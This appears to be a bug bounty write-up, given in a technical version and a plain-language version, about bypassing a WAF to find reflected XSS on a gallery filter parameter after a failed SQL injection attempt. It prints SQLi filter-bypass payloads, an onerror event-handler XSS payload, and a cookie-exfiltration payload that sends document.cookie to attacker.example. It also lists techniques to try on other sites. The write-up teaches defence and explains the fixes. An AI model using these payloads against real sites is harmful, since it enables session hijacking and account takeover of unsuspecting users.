From Dead SQLi To Live Session Hijack.
Published on medium.com
Bug Bounty
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target is a website the author chooses not to name. He describes looking at sites that look like they were built in a hurry, the kind where the footer still reads "© 2019" and the contact form posts to a Gmail address. Two features matter here. One is page.php, which takes a numeric id parameter. The other is gallery.php, which takes a string cat parameter used for filtering, and reflects that value back into the page. The site also has navigation links and a gallery, and a WAF or aggressive input filter sits in front of the application.
Setup
No accounts, roles, tool versions or special tooling are described. The author worked with a browser and a notepad, reading parameters and watching what came back. The only precondition that matters is the presence of the filtering layer in front of the application, which is what produces the 406 responses below.
Finding it
The starting point was page.php?id=13, a classic numeric parameter. The author sent a single quote and got a 406 Not Acceptable: no error page, no stack trace, just a refusal delivered before the input reached the application. That response is treated as a signature of a WAF or input filter recognising the shape of an injection attempt and dropping the connection.
Exploitation
Step 1: Bypass the filter on the numeric parameter
The obvious bypass was tried, breaking up the keywords with inline comments:
GET /page.php?id=13/**/UNION/**/SELECT/**/NULL--
The 406 disappeared and the page loaded, but the content was identical to the baseline. The author then enumerated columns, tried ORDER BY, and tried ?id=14-1 to see whether the parameter performed arithmetic. The output never moved.
Two explanations are offered: either the parameter is typecast to an integer before it reaches a query, which would silently slice off every appended string, or the backend uses prepared statements and there is nothing to inject into. Either way, SQLi is over on this parameter, and the author moved on to the site structure.
Step 2: Find a string parameter that reflects
Looking at what else the site did with user input led to the gallery filter:
GET /gallery.php?cat=Lorem+ipsum
This is a string parameter, not numeric and not typecast, reflected directly into the page. A marker was appended:
GET /gallery.php?cat=Lorem+ipsum'hello
The page loaded with no error, and the string came back with the single quote intact, sitting in the page header. Viewing the source showed the input landing in two places.
First, inside the <title> tag:
<title>Lorem ipsum'hello - Site Name</title>
The author explains why this context is inert: the HTML parser treats everything inside <title> as passive text. It does not tokenise tags or build nodes; it reads characters until it hits a literal </title>. Even unencoded angle brackets would only produce text there, never execution. The only way out is to close the tag, which requires <, and that character was being filtered in this context. Dead end.
Second, further down in the body:
<h2>Lorem ipsum'hello</h2>
The body is parsed as live markup. If the server does not encode <, the browser builds whatever element is sent into a real DOM node. Same parameter, same page, same request, two contexts with completely different security postures, decided by where the developer echoed the string.
Step 3: Map the filter
To learn what the server was stripping, fragments were sent. <u> came back as a live <u> tag with the text rendered underlined and no error, confirming HTML injection before any JavaScript was attempted.
The obvious next payload was sent:
<script>alert(1)</script>
This produced the 406 again, the same refusal as the SQLi attempt. The WAF recognised the literal string <script and dropped the request before the application saw it. Casing (<ScRiPt>), whitespace breaks (<script >) and URL-encoding were all blocked. The filter was normalising case, decoding, and matching against a signature, and for that specific pattern it was thorough.
Step 4: Execute JavaScript without a script tag
The reasoning at this point: a script tag is not required to run JavaScript. Any HTML element with an on* attribute executes its value when the corresponding event fires, and the WAF was looking for <script, not for this:
<img src=x onerror=alert(1)>
The parts:
<img>is unremarkable and matches no signature.src=xis a source that will never resolve.onerror=alert(1)is the handler that fires when loading fails.
The browser builds the image node, attempts to fetch x, the fetch fails, the failure triggers onerror, and the handler runs. The popup appeared with no <script> tag anywhere in the request.
Step 5: Check whether the cookie is readable
A popup proves execution but not impact. The author opened DevTools, looked at the cookie storage panel and checked the HttpOnly column. The two outcomes:
- HttpOnly set:
document.cookiecannot read it, session theft via XSS is blocked, and impact drops to content injection and in-page CSRF. - HttpOnly not set: the cookie is readable from JavaScript, giving a path to session hijacking.
It was not set. The viable payload was therefore:
<img src=x onerror="fetch('https://attacker.example/log?c='+document.cookie)">
A victim loads a URL that looks like it belongs to a site they trust. The script runs in their authenticated session, reads the cookie and sends it outbound. The attacker then holds a valid session token and has full account takeover without ever knowing the password.
Root cause
The application reflects the cat parameter into two different HTML contexts without encoding. In the <title> context that is harmless because the parser treats the content as text. In the body context it is not, because the body is parsed as live markup, so any element the server passes through becomes a real DOM node. The filtering layer in front of the application matches signatures: it blocks the literal <script (and its case and whitespace variants, and URL-encoded forms) but has no coverage for inline event handlers such as onerror. Blocking a tag is not blocking the language. The session cookie also lacks the HttpOnly attribute, which turns a reflected execution bug into session theft. The report does not describe the server-side code, so the exact encoding or templating mistake is not shown.
Impact
With the cookie readable, an attacker can send a crafted gallery.php?cat= URL to a victim, execute JavaScript in the victim's authenticated session, exfiltrate the session token and take over the account without knowing the password. The author frames this as the gap between a bug and an incident, decided by one attribute nobody set. If HttpOnly had been set, the impact would have dropped to content injection and in-page CSRF. The report does not name the site, the number of affected users, or any bounty outcome.
Fix
The measures it implies are context-aware output encoding of the cat parameter (HTML-encoding in the body, and treating the <title> reflection as text), and setting HttpOnly on the session cookie so that script cannot read it. Signature-based filtering alone is not sanitisation and should not be relied on as the control.
Variants to test
- Numeric parameters that refuse injection. Send a single quote and look for a 406 or similar refusal, then try comment-separated keywords as above. A positive result is the filter disappearing, but confirm the output actually changes before assuming SQLi; unchanged output suggests typecasting or prepared statements.
- String parameters reflected in multiple places. Append a marker such as
'helloand view source. A positive result is the marker appearing in more than one context, especially once in a passive context like<title>and once in the body. - Tag injection before script injection. Send
<u>and see whether it renders as a live tag. A positive result is HTML injection confirmed without any JavaScript. - Event-handler payloads when
<scriptis blocked. Try<img src=x onerror=alert(1)>and variants on other elements and events. A positive result is a popup with no script tag in the request. - Cookie flags. In DevTools, check the HttpOnly column for the session cookie. A positive result for exploitation is the flag being absent, which makes a
document.cookieexfiltration payload viable.
What happened, in plain words
A security researcher was poking around a website whose name he chose not to publish. He found a page that takes a number in its address, tried to break into the database behind it, and got blocked. Instead of giving up, he looked at a different page, one that takes a piece of text and shows it back on the screen. That page let him slip a small piece of code into the page, and because of one missing setting on the site's login cookie, he could have used it to take over another person's account without ever learning their password.
This article walks through the whole story from zero. You only need to know how to use a browser. Every technical word is explained the first time it appears, and there is a glossary at the end.
The starting point
Before any attack, there is a phase called reconnaissance (recon for short): looking around a website the way you might walk around a building before deciding which door to try. The researcher used a browser and a notepad. He looked at websites that seemed to have been built quickly and cheaply, the kind where the footer still says "© 2019" and the contact form sends messages to a free Gmail address.
He was not hunting for one specific bug. He was reading the addresses of pages and watching what came back. A web address like page.php?id=13 has two parts worth knowing about:
page.phpis the name of the page (a file on the server that builds the page you see).?id=13is a parameter: a piece of information the page receives. Here the parameter is calledidand its value is13.
Parameters are how a website passes your choices from one page to the next. When you search for something, the words you typed usually travel as a parameter. When you open page 3 of a list, the number 3 travels as a parameter.
This particular parameter, id, holds a number. That matters, because numbers are the classic doorway into a database.
What SQL injection is, and why the researcher tried it
Most websites store their content in a database: an organised store of information, like a very large, very strict spreadsheet. When you ask for page 13, the website asks the database a question written in a language called SQL (Structured Query Language). A simplified version of that question looks like: "give me the row where the id equals 13".
SQL injection (SQLi) is what happens when a website pastes your input straight into that question without checking it. Imagine a form at a counter that says "write the name of the person you want to see". If you write a name, fine. If you write "the name of the person I want to see, and also hand me every file in the building", and the clerk reads the whole sentence literally, you have just talked your way past the counter. SQL injection is that trick, aimed at a database.
So the researcher sent a single quote character (') as the value of id. A single quote is the character SQL uses to mark the beginning and end of a piece of text. Sending one is the smallest possible test: if the site pastes it into a query without care, the query breaks, and the site usually shows an error. Here no error came back, because the request was refused before it reached the application.
What came back was not an error. It was 406 Not Acceptable: a standard HTTP status code meaning the server refuses to serve the request in the form it was asked. There was no error page and no technical detail, just a crisp refusal, and it arrived before his input ever touched the application.
That refusal is a signature. Something sits in front of the website and inspects every request before the website itself sees it. That something is usually a WAF (Web Application Firewall): a filter that looks at incoming requests and blocks the ones that resemble known attacks. Think of it as a bouncer at the door who has a list of known troublemakers and turns them away before they reach the bar.
Step 1: Trying to get past the filter on the number
The researcher tried the obvious trick. SQL ignores certain comment markers, so attackers sometimes insert them between keywords to break up the pattern a filter is looking for. He sent this request:
GET /page.php?id=13/**/UNION/**/SELECT/**/NULL--
Line by line, in plain words:
GETis the type of request a browser makes when it simply wants to fetch a page. It is the most common request on the web./page.phpis the page being requested.?id=13is the parameter and its value, as before./**/is a comment in SQL. Everything between the two markers is ignored by the database. Attackers use it to split up words a filter might be matching on.UNIONis an SQL keyword that glues the results of one query onto the results of another. It is the classic way to ask a database for information it was not asked to give.SELECTis the SQL keyword for "retrieve data".NULLis SQL's word for "nothing". Attackers use it as a placeholder while they work out how many columns a query returns.--is another SQL comment marker. Everything after it on the same line is ignored.
The 406 disappeared and the page loaded. That looked promising. But the content was identical to what the page showed before he sent anything. So he tried more: counting how many columns the query returned, using ORDER BY (an SQL keyword for sorting results), and sending ?id=14-1 to see whether the page did arithmetic. He sent ?id=14-1 to see whether the parameter did arithmetic. Nothing changed. The output never moved.
There are two likely explanations, and the researcher offers both:
- The parameter is typecast to an integer before it reaches the query. Typecasting means forcing a value into a particular type. If the site says "treat whatever arrives as a whole number", then any text appended to the number is silently thrown away. You cannot inject SQL through a value that has already been reduced to a number.
- The backend uses prepared statements. This is a programming technique where the database question and the data are kept separate, so the data can never be read as part of the question. It is the proper defence against SQL injection.
Either way, SQL injection on this parameter is over. The researcher closed the tab on it and went back to looking at the site's structure.
Step 2: Finding a text parameter that echoes back
This is the moment where most people quit and move to a different website. The researcher did the opposite: he asked what else the site did with input from visitors. He found navigation links, a gallery, and a filter parameter on the gallery page:
GET /gallery.php?cat=Lorem+ipsum
Line by line:
GETis again a plain request for a page./gallery.phpis the gallery page.?cat=Lorem+ipsumis a parameter calledcat(short for category) with the valueLorem+ipsum. The+is how a space is written inside a web address. So the value is really "Lorem ipsum", the placeholder text designers use when they need something that looks like a sentence.
This parameter is different from the first one in a crucial way. It holds text, not a number. It is not typecast. And the page shows the value back to the visitor, which is called reflection: your input bounces off the server and comes back in the page you receive.
To confirm the reflection, he appended a marker:
GET /gallery.php?cat=Lorem+ipsum'hello
Line by line:
- Everything is the same as before, except the value now ends with
'hello. - The single quote is there on purpose. It is the character that broke SQL earlier, and it is also a character that many filters dislike. Sending it tells you whether the site passes it through untouched.
hellois just a marker, a word that is easy to spot on the page.
The page loaded with no error, and the string came back with the single quote intact, sitting in the page header. That is a strong sign: the site is echoing exactly what it was given, without cleaning it.
The same input, in two very different places
He opened the page source (the raw HTML the browser receives, which you can view with "View Source" in any browser) and found his input in two places.
First, inside the <title> tag:
<title>Lorem ipsum'hello - Site Name</title>
Line by line:
<title>and</title>are HTML tags. HTML is the language web pages are written in. Tags are the instructions that tell the browser what each piece of content is: a heading, a paragraph, an image, a link.- The
<title>tag holds the text shown in the browser tab, not on the page itself. - Between the tags sits the reflected input,
Lorem ipsum'hello, followed by the site's own suffix.
Why is this harmless? Because of how browsers read HTML. Inside <title>, the browser treats everything as passive text. It does not look for tags, it does not build page elements, it just reads characters until it finds the literal closing </title>. Even if angle brackets (the < and > characters that mark tags) got through unencoded, anything inside <title> would only ever be text. It would never run.
The only way out of that context is to close the tag yourself, which requires sending a < character. That character was being filtered here. Dead end.
Second, further down the page, in the body:
<h2>Lorem ipsum'hello</h2>
Line by line:
<h2>and</h2>mark a second-level heading. This is content the visitor actually sees on the page.- The same reflected input sits between them.
This is a completely different world. The body of a page (everything that is not the title) is parsed as live markup. If the server does not encode <, the browser will happily build whatever element arrives into a real page element. Same parameter, same page, same request, two contexts with completely different safety. The difference is decided entirely by where the developer happened to echo the string.
Step 3: Working out what the filter blocks
Before going further, the researcher needed to know what the server was actually stripping out. So he sent small fragments and watched what came back.
He sent <u>, the tag for underlined text. It came back as a live <u> tag, and the text rendered underlined, with no error. That confirms HTML injection: the ability to make the page contain elements the site did not intend. He had not even tried JavaScript yet.
JavaScript is the programming language that runs inside your browser and makes pages interactive: menus that open, forms that check your typing, buttons that do something. If an attacker can get JavaScript to run in someone else's browser on a site they trust, the attacker can act as that person.
So he went for the obvious payload:
<script>alert(1)</script>
Line by line:
<script>and</script>mark a block of JavaScript.alert(1)is the simplest possible JavaScript instruction: it opens a small popup box showing the number 1. Researchers use it because it is harmless and instantly visible. If the popup appears, code ran.
This produced the 406 again, the same refusal as the SQL injection attempt. The WAF recognised the literal string <script and dropped the request before the application ever saw it.
He tried variations. Changing the capitalisation to <ScRiPt> was blocked. Adding a space, <script >, was blocked. Encoding the characters in the URL was blocked. The filter was normalising case, decoding, and matching against a signature. For that specific pattern, it was thorough.
Step 4: Running JavaScript without a script tag
Here is the realisation that moved the attack forward: you do not need a <script> tag to run JavaScript. Many HTML elements accept event attributes, written with an on prefix, such as onclick or onerror. An event attribute holds a small piece of JavaScript that runs when the matching event happens. The WAF was looking for <script. It was not looking for this:
<img src=x onerror=alert(1)>
Line by line:
<img>is the tag for an image. It is completely unremarkable and matches no attack signature.src=xtells the browser where to find the image. Here the source isx, which is not a real address, so the image will never load.onerror=alert(1)is the event attribute. It says: when loading this image fails, runalert(1).
What happens in the browser: it builds the image element, tries to fetch x, the fetch fails, the failure triggers onerror, and the handler runs. The popup appeared, with no <script> tag anywhere in the request.
This is the difference between blocking a word and blocking a language. The filter knew one spelling of JavaScript and nothing else.
Step 5: Checking whether the cookie can be stolen
A popup proves that code ran. It does not prove that anything valuable can be taken. Before getting excited, the researcher checked one thing.
A cookie is a small piece of data a website asks your browser to store and send back with every request. It is how a site remembers who you are between page loads. When you log in, the site gives your browser a cookie containing a session token: a long, hard-to-guess string that acts like a temporary ID card. Every time you load a page, your browser shows that card, and the site lets you in without asking for your password again.
If an attacker can read that cookie, they can copy the ID card and use it themselves. That is session hijacking: taking over someone's logged-in session without knowing their password.
There is a defence. A cookie can be marked HttpOnly, which tells the browser that JavaScript is not allowed to read it. The browser still sends it with requests, so the site keeps working, but a script running on the page cannot see it.
To check, the researcher opened DevTools, the set of tools built into every browser (usually opened with F12), went to the cookie storage panel, and looked at the HttpOnly column. There are two possible outcomes:
- HttpOnly set:
document.cookie(the JavaScript way of reading cookies) cannot see it. Session theft through this bug is blocked, and the impact drops to content injection and in-page CSRF. - HttpOnly not set: the cookie is readable from JavaScript. Now there is a path to session hijacking.
CSRF (Cross-Site Request Forgery) is a related trick where a page makes a logged-in user's browser send a request the user did not intend, such as changing an email address. It is mentioned here only as the lesser impact that would remain if the cookie were protected.
It was not set. Which means this payload was viable:
<img src=x onerror="fetch('https://attacker.example/log?c='+document.cookie)">
Line by line:
<img src=x ...>is the same image element as before, with the same source that will never load.onerror=is the same event attribute, firing when the image fails.fetch(...)is a JavaScript function that sends a request to another address. It is how a page talks to a server in the background.'https://attacker.example/log?c='is the address the request goes to.attacker.exampleis a placeholder domain, not a real site. The?c=part is a parameter namedc, ready to receive a value.+document.cookieglues the victim's cookies onto the end of that address.document.cookieis the JavaScript expression that reads the cookies the page is allowed to see.
Put together: a victim loads a URL that looks like it belongs to a site they trust. The script runs inside their logged-in session. It reads their cookie and sends it out to the attacker's server. The attacker now holds a valid session token and has full account takeover, without ever knowing the password.
That is the gap between a bug and an incident, and it was decided by one attribute nobody set.
Why it worked
The application reflects the cat parameter into two different HTML contexts without encoding. Encoding here means converting dangerous characters such as < into harmless text so the browser shows them instead of acting on them. In the <title> context, the lack of encoding is harmless because the browser treats the content as text. In the body, it is not, because the body is parsed as live markup, so any element the server passes through becomes a real page element.
The filtering layer in front of the application matches signatures. It blocks the literal <script, including case and whitespace variants and URL-encoded forms, but it has no coverage for inline event handlers such as onerror. Blocking a tag is not blocking the language.
The session cookie also lacks the HttpOnly attribute, which turns a reflected execution bug into session theft. The report does not describe the server-side code, so the exact encoding or templating mistake is not shown.
What an attacker could do with it
With the cookie readable, an attacker can send a crafted gallery.php?cat= URL to a victim, run JavaScript in the victim's logged-in session, send the session token out, and take over the account without knowing the password. The researcher frames this as the gap between a bug and an incident, decided by one attribute nobody set. If HttpOnly had been set, the impact would have dropped to content injection and in-page CSRF. The report does not name the site, the number of affected users, or any bounty outcome.
How to fix it
The measures it implies are context-aware output encoding of the cat parameter (HTML-encoding in the body, and treating the <title> reflection as text), and setting HttpOnly on the session cookie so that script cannot read it. Signature-based filtering alone is not sanitisation and should not be relied on as the control.
Things to try on other sites
- Numeric parameters that refuse injection. Send a single quote and look for a 406 or similar refusal, then try comment-separated keywords as above. A positive result is the filter disappearing, but confirm the output actually changes before assuming SQL injection; unchanged output suggests typecasting or prepared statements.
- Text parameters reflected in several places. Append a marker such as
'helloand view source. A positive result is the marker appearing in more than one context, especially once in a passive context like<title>and once in the body. - Tag injection before script injection. Send
<u>and see whether it renders as a live tag. A positive result is HTML injection confirmed without any JavaScript. - Event-handler payloads when
<scriptis blocked. Try<img src=x onerror=alert(1)>and variants on other elements and events. A positive result is a popup with no script tag in the request. - Cookie flags. In DevTools, check the HttpOnly column for the session cookie. A positive result for exploitation is the flag being absent, which makes a
document.cookieexfiltration payload viable.
Glossary
- Reconnaissance (recon): the early phase of looking around a target to understand how it is built, before trying anything.
- Parameter: a named piece of information passed to a page in its address, such as
id=13orcat=Lorem+ipsum. - Database: an organised store of information that a website reads from and writes to.
- SQL: the language used to ask a database questions.
- SQL injection (SQLi): tricking a site into treating your input as part of a database question.
- HTTP status code: a three-digit number a server sends back to describe the outcome of a request, such as 406 for a refusal.
- 406 Not Acceptable: a status code meaning the server refuses the request in the form it was made.
- WAF (Web Application Firewall): a filter in front of a website that inspects requests and blocks ones that look like attacks.
- Comment (in SQL): text the database ignores, used by attackers to break up keywords a filter might match.
- UNION / SELECT / NULL / ORDER BY: SQL keywords for combining results, retrieving data, representing nothing, and sorting results.
- Typecast: forcing a value into a particular type, such as turning any input into a whole number.
- Prepared statement: a way of sending a database question and its data separately, so the data can never be read as part of the question.
- Reflection: when a site sends your input back to you inside the page it returns.
- HTML: the language web pages are written in, made of tags that describe content.
- Tag: an HTML instruction such as
<title>,<h2>or<img>that tells the browser what a piece of content is. <title>: the tag holding the text shown in the browser tab, treated by the browser as passive text.- Body: the part of a page the visitor sees, parsed as live markup.
- HTML injection: making a page contain elements the site did not intend.
- JavaScript: the programming language that runs in the browser and makes pages interactive.
- Payload: the specific piece of input an attacker sends to trigger a bug.
- Event attribute: an HTML attribute starting with
on, such asonerror, holding JavaScript that runs when the matching event happens. - Cookie: a small piece of data a site asks the browser to store and send back with each request.
- Session token: a long, hard-to-guess value in a cookie that acts as a temporary ID card after login.
- Session hijacking: taking over someone's logged-in session by stealing their session token.
- HttpOnly: a cookie setting that stops JavaScript from reading that cookie.
- DevTools: the set of tools built into browsers for inspecting pages, cookies and network traffic.
document.cookie: the JavaScript expression that reads the cookies a page is allowed to see.- CSRF (Cross-Site Request Forgery): making a logged-in user's browser send a request they did not intend.
- Encoding: converting dangerous characters into harmless text so the browser displays them instead of acting on them.
- Sanitisation: cleaning input so that it cannot be interpreted as code.
- Signature: a pattern a filter matches against to recognise a known attack.